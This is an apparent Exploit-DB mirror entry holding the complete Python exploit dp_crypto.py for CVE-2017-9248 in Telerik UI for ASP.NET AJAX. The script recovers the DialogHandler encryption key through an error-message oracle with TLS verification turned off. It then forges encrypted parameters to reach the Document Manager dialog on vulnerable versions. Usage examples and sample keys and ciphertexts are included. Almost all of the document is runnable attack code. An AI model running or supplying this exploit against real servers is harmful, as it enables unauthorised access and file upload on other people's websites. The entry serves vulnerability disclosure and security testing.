Telerik UI for ASP.NET AJAX 2012.3.1308 < 2017.1.118 - Encryption Keys Disclosure

  • 作者: Paul Taylor
    日期: 2018-01-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43873/
  • # Exploit Title: Telerik UI for ASP.NET AJAX DialogHandler Dialog cracker
    # Filename: dp_crypto.py
    # Github: https://github.com/bao7uo/dp_crypto
    # Date: 2018-01-23
    
    # Exploit Author: Paul Taylor / Foregenix Ltd
    # Website: http://www.foregenix.com/blog
    
    # Version: Telerik UI for ASP.NET AJAX
    # CVE: CVE-2017-9248
    # Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/details/cryptographic-weakness
    
    # Tested on: Working on versions 2012.3.1308 thru 2017.1.118 (.NET 35, 40, 45)
    
    #!/usr/bin/python3
    
    # Author: Paul Taylor / Foregenix Ltd
    
    # https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py
    
    # dp_crypto - CVE-2017-9248 exploit
    # Telerik.Web.UI.dll Cryptographic compromise
    
    # Warning - no cert warnings,
    # and verify = False in code below prevents verification
    
    import sys
    import base64
    import requests
    import re
    import binascii
    
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    requests_sent = 0
    char_requests = 0
    
    
    def get_result(plaintext, key, session, pad_chars):
    global requests_sent, char_requests
    
    url = sys.argv[2]
    base_pad = (len(key) % 4)
    base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
    dp_encrypted = base64.b64encode(
    (encrypt(plaintext, key) + base).encode()
    ).decode()
    request = requests.Request('GET', url + '?dp=' + dp_encrypted)
    request = request.prepare()
    response = session.send(request, verify=False)
    requests_sent += 1
    char_requests += 1
    
    match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
    return True \
    if match is not None \
    and match.group(2) == "Index was outside the bounds of the array." \
    else False
    
    
    def test_keychar(keychar, found, session, pad_chars):
    base64chars = [
    "A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
    "D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
    "G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
    "J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
    "M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
    "P", "f", "v", "/"
    ]
    
    duff = False
    accuracy_thoroughness_threshold = sys.argv[5]
    for bc in range(int(accuracy_thoroughness_threshold)):
    # ^^ max is len(base64chars)
    sys.stdout.write("\b\b" + base64chars[bc] + "]")
    sys.stdout.flush()
    if not get_result(
    base64chars[0] * len(found) + base64chars[bc],
    found + keychar, session, pad_chars
    ):
    duff = True
    break
    return False if duff else True
    
    
    def encrypt(dpdata, key):
    encrypted = []
    k = 0
    for i in range(len(dpdata)):
    encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
    k = 0 if k >= len(key) - 1 else k + 1
    return ''.join(str(e) for e in encrypted)
    
    
    def mode_decrypt():
    ciphertext = base64.b64decode(sys.argv[2].encode()).decode()
    key = sys.argv[3]
    print(base64.b64decode(encrypt(ciphertext, key)).decode())
    print("")
    
    
    def mode_encrypt():
    plaintext = sys.argv[2]
    key = sys.argv[3]
    
    plaintext = base64.b64encode(plaintext.encode()).decode()
    print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
    print("")
    
    
    def test_keypos(key_charset, unprintable, found, session):
    pad_chars = ''
    for pad_char in range(256):
    pad_chars += chr(pad_char)
    
    for i in range(len(pad_chars)):
    for k in range(len(key_charset)):
    keychar = key_charset[k]
    sys.stdout.write("\b"*6)
    sys.stdout.write(
    (
    keychar
    if unprintable is False
    else '+'
    ) +
    ") [" + (
    keychar
    if unprintable is False
    else '+'
    ) +
    "]"
    )
    sys.stdout.flush()
    if test_keychar(keychar, found, session, pad_chars[i] * 3):
    return keychar
    return False
    
    
    def get_key(session):
    global char_requests
    found = ''
    unprintable = False
    
    key_length = sys.argv[3]
    key_charset = sys.argv[4]
    if key_charset == 'all':
    unprintable = True
    key_charset = ''
    for i in range(256):
    key_charset += chr(i)
    else:
    if key_charset == 'hex':
    key_charset = '01234567890ABCDEF'
    
    print("Attacking " + sys.argv[2])
    print(
    "to find key of length [" +
    str(key_length) +
    "] with accuracy threshold [" +
    sys.argv[5] +
    "]"
    )
    print(
    "using key charset [" +
    (
    key_charset
    if unprintable is False
    else '- all ASCII -'
    ) +
    "]\n"
    )
    for i in range(int(key_length)):
    pos_str = (
    str(i + 1)
    if i > 8
    else "0" + str(i + 1)
    )
    sys.stdout.write("Key position " + pos_str + ": (------")
    sys.stdout.flush()
    keychar = test_keypos(key_charset, unprintable, found, session)
    if keychar is not False:
    found = found + keychar
    sys.stdout.write(
    "\b"*7 + "{" +
    (
    keychar
    if unprintable is False
    else '0x' + binascii.hexlify(keychar.encode()).decode()
    ) +
    "} found with " +
    str(char_requests) +
    " requests, total so far: " +
    str(requests_sent) +
    "\n"
    )
    sys.stdout.flush()
    char_requests = 0
    else:
    sys.stdout.write("\b"*7 + "Not found, quitting\n")
    sys.stdout.flush()
    break
    if keychar is not False:
    print("Found key: " +
    (
    found
    if unprintable is False
    else "(hex) " + binascii.hexlify(found.encode()).decode()
    )
    )
    print("Total web requests: " + str(requests_sent))
    return found
    
    
    def mode_brutekey():
    session = requests.Session()
    found = get_key(session)
    
    if found == '':
    return
    else:
    urls = {}
    url_path = sys.argv[2]
    params = (
    '?DialogName=DocumentManager' +
    '&renderMode=2' +
    '&Skin=Default' +
    '&Title=Document%20Manager' +
    '&dpptn=' +
    '&isRtl=false' +
    '&dp='
    )
    versions = [
    '2007.1423', '2007.1521', '2007.1626', '2007.2918',
    '2007.21010', '2007.21107', '2007.31218', '2007.31314',
    '2007.31425', '2008.1415', '2008.1515', '2008.1619',
    '2008.2723', '2008.2826', '2008.21001', '2008.31105',
    '2008.31125', '2008.31314', '2009.1311', '2009.1402',
    '2009.1527', '2009.2701', '2009.2826', '2009.31103',
    '2009.31208', '2009.31314', '2010.1309', '2010.1415',
    '2010.1519', '2010.2713', '2010.2826', '2010.2929',
    '2010.31109', '2010.31215', '2010.31317', '2011.1315',
    '2011.1413', '2011.1519', '2011.2712', '2011.2915',
    '2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
    '2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
    '2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
    '2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
    '2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
    '2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
    '2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
    '2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
    '2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
    '2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
    '2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
    '2017.3.913'
    ]
    
    plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
    plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
    plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
    plaintext3 = ';AllowMultipleSelection,False,3,False'
    
    for version in versions:
    plaintext2_raw2 = version
    plaintext2 = base64.b64encode(
    (plaintext2_raw1 +
    plaintext2_raw2 +
    plaintext2_raw3
     ).encode()
    ).decode()
    plaintext = plaintext1 + plaintext2 + plaintext3
    plaintext = base64.b64encode(
    plaintext.encode()
    ).decode()
    ciphertext = base64.b64encode(
    encrypt(
    plaintext,
    found
    ).encode()
    ).decode()
    full_url = url_path + params + ciphertext
    urls[version] = full_url
    
    found_valid_version = False
    for version in urls:
    url = urls[version]
    request = requests.Request('GET', url)
    request = request.prepare()
    response = session.send(request, verify=False)
    if response.status_code == 500:
    continue
    else:
    match = re.search(
    "(Error Message:)(.+\n*.+)(</div>)",
    response.text
    )
    if match is None:
    print(version + ": " + url)
    found_valid_version = True
    break
    
    if not found_valid_version:
    print("No valid version found")
    
    def mode_samples():
    print("Samples for testing decryption and encryption functions:")
    print("-d ciphertext key")
    print("-e plaintext key")
    print("")
    print("Key:")
    print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
    print("")
    print("Plaintext:")
    print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
    print("")
    print("Ciphertext:")
    print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
    print("")
    
    
    def mode_b64e():
    print(base64.b64encode(sys.argv[2].encode()).decode())
    print("")
    
    
    def mode_b64d():
    print(base64.b64decode(sys.argv[2].encode()).decode())
    print("")
    
    
    def mode_help():
    print("Usage:")
    print("")
    print("Decrypt a ciphertext:-d ciphertext key")
    print("Encrypt a plaintext: -e plaintext key")
    print("Bruteforce key/generate URL: -k url key_length key_charset accuracy")
    print("Encode parameter to base64:-b plain_parameter")
    print("Decode base64 parameter: -p encoded_parameter")
    print("")
    print("To test all ascii characters set key_charset to: all, " +
    "for upper case hex (e.g. machine key) set to hex.")
    print("")
    print("Maximum accuracy is out of 64 where 64 is the most accurate, " +
    "accuracy of 9 will usually suffice for a hex, but 21 or more " +
    "might be needed when testing all ascii characters.")
    print("Increase the accuracy argument if no valid version is found.")
    print("")
    print("Examples to generate a valid file manager URL:")
    print("./dp_crypto.py -k http://a/Telerik.Web.UI.DialogHandler.aspx 48 hex 9")
    print("./dp_crypto.py -k http://a/Telerik.Web.UI.DialogHandler.aspx 48 all 21")
    print("")
    
    
    sys.stderr.write(
    "\ndp_crypto by Paul Taylor / Foregenix Ltd\nCVE-2017-9248 - " +
    "Telerik.Web.UI.dll Cryptographic compromise\n\n"
    )
    
    if len(sys.argv) < 2:
    mode_help()
    
    elif sys.argv[1] == "-d" and len(sys.argv) == 4:
    mode_decrypt()
    elif sys.argv[1] == "-e" and len(sys.argv) == 4:
    mode_encrypt()
    elif sys.argv[1] == "-k" and len(sys.argv) == 6:
    mode_brutekey()
    elif sys.argv[1] == "-s" and len(sys.argv) == 2:
    mode_samples()
    elif sys.argv[1] == "-b" and len(sys.argv) == 3:
    mode_b64e()
    elif sys.argv[1] == "-p" and len(sys.argv) == 3:
    mode_b64d()
    else:
    mode_help()